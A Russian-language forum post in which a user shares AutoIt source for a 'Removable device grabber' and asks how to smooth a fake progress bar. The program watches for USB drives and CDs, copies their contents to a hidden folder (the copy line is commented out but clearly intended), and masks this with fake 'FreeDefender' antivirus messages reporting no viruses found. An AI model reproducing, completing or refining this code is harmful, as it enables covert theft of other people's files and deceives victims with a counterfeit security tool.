Sh1td0wn
Сообщений: 156
Оценки: 0
Присоединился: 2008-05-16 16:48:32.490000
|
Прочитал вот эту статью: http://www.xakep.ru/magazine/xa/104/054/1.asp , понравилось, написал своё решение. Код:
;Removable device grabber 0.9b by Sh1td0wn
;-------------------------------------------------------------------
; Написано Sh1td0wn'ом в ночь в 8 марта 2009 года на 9 марта 2009 года
; распространять ТОЛЬКО в виде сорцов! Пусть люди думать учатся!
; при распрострнении сохранять эту надпись,
; всё равно она никому не мешает...
;-------------------------------------------------------------------
; ПРОЧТИ КОД ПОЛНОСЬЮ ПЕРЕД КОМПИЛЯЦИЕЙ
;-------------------------------------------------------------------
; подготовим сцену...
Main() ; запуск главной функции
Func Main ()
$auto = 0 ; по умолчанию автопроверка выключена
TraySetIcon("Shell32.dll",134) ; ставим иконку в трее, можно брать из ресурсов exe'шника программы
Opt("TrayMenuMode",1) ; прячем дефолтное меню
$selauto = TrayCreateItem("Включить автопроверку носителей") ; создаём пункт меню
$selexit = TrayCreateItem("Выход") ; аналогично
While (true) ;бесконечный цикл, <1% ЦПУ на Core 2 Duo, даже при включённой проверке
$msg = TrayGetMsg() ; узнаём, что сделал пользователь
Select
Case $msg = $selauto ; выбрал переключение режимов
Select
case $auto = 0 ; если автопроверка выключена
$auto = 1 ; включить
TrayItemDelete ( $selauto ) ; перерисовка меню
TrayItemDelete ( $selexit )
$selauto = TrayCreateItem("Выключить автопроверку носителей")
$selexit = TrayCreateItem("Выход")
;MsgBox(0,"",$auto) для отладки - были проблемы с рекурсией и т.п.
ContinueLoop
case $auto = 1 ; если автопроверка включена
$auto = 0 ;выключить
TrayItemDelete ( $selauto ) ; перерисовать меню
TrayItemDelete ( $selexit )
$selauto = TrayCreateItem("Включить автопроверку носителей")
$selexit = TrayCreateItem("Выход")
;MsgBox(0,"",$auto) тоже для отладки
ContinueLoop
EndSelect
Case $msg = 0 ; пользователь не сделал ничего
if $auto = 1 then Check() ; если проверка включена, проверяем
Case $msg = $selexit ; пользователь выбрал выход
ExitLoop ; выходим из цикла, а там и конец функции, дальше вызовов нет - выход из программы
EndSelect
WEnd
EndFunc
Func Check () ;проверка
;Sleep(10000) ;ждём... - отключено, проверка регулируется через меню
$flash = DriveGetDrive( "removable" ) ; ищем флешки
$cd = DriveGetDrive( "cdrom" ) ; ..и сидиромы
If ($flash[0] > 1) Then FlashParse($flash) ; вместе с флешкой нашли дискетник... непорядок! если девайсов БОЛЬШЕ одного, парсим массив
If ($cd[0] > 0) Then CheckCd($cd) ; если CD есть, то проверяем, есть ли диск внутри
EndFunc
Func FlashParse ($flash)
For $i = 2 to $flash[0] ; начинаем со второго девайса: первый - дискетник
Grab($flash[$i]) ; можно грабить корованы
Next
EndFunc
Func CheckCd ($cd)
For $i = 1 to $cd[0] ; от первого до последнего...
$condition = DriveStatus($cd[$i]) ; берём состояние
If $condition = "READY" Then Grab ($cd[$i]) ; проверяем состояние, если готов, то можно грабить корованы
Next
EndFunc
Func Grab ($disk) ; грабим корованы
; сейчас будет вынос мозга - проверка, сохранили ли мы этот носитель (банально имя диска в файле)
$gotdrive = FileRead("C:\Grab\drive.dat") ; создайте пустой файл заранее! на всякий случай
if NOT $gotdrive = $disk then ; если предыдущий найденный диск - не тот, можно грабить
$newdir = "C:\Grab\" & @Year & " " & @MON & " " & @MDAY & " - " & @HOUR & "." & @MIN & "." & @SEC ; создаём переменную - имя папки, чтобы потом подставить её в несколько функций
;ProgressOn("FreeDefender device checking utility", "Проверка устройства " & $disk, "Пожалуйста, подождите, пока"&@CRLF&"FreeDefender проверит устройство...") ; запускаем бутафорию
TrayTip ( "FreeDefender", "Проверка устройства "&$disk&"...", 30 ,1)
;DirCopy ($disk,$newdir,1) ; самое важное >:-)
MsgBox(64,"FreeDefender","Проверка завершена: вирусов на устройстве "&$disk&" не обнаружено")
;ProgressSet( 100 ,"", "Завершено - вирусы не найдены") ; плавно это сделать, скорее всего, не удастся, успокаиваем пОциЭнта
TrayTip ( "FreeDefender", "Вирусы на устройстве "&$disk&" отсутствуют.", 5, 1)
Sleep(2000) ; даём время успокоиться
;ProgressOff() ; прячем бутафорию
FileWrite("C:\Grab\drive.dat",$disk) ; запоминаем букву диска, пока файл не будет очищен (в будущем сделаю очистку через меню), этот диск копироваться не будет!
EndIf
EndFunc
Собственно, вопрос: можно ли сделать прогресс "проверки на вирусы" плавным? Если да, то как?
|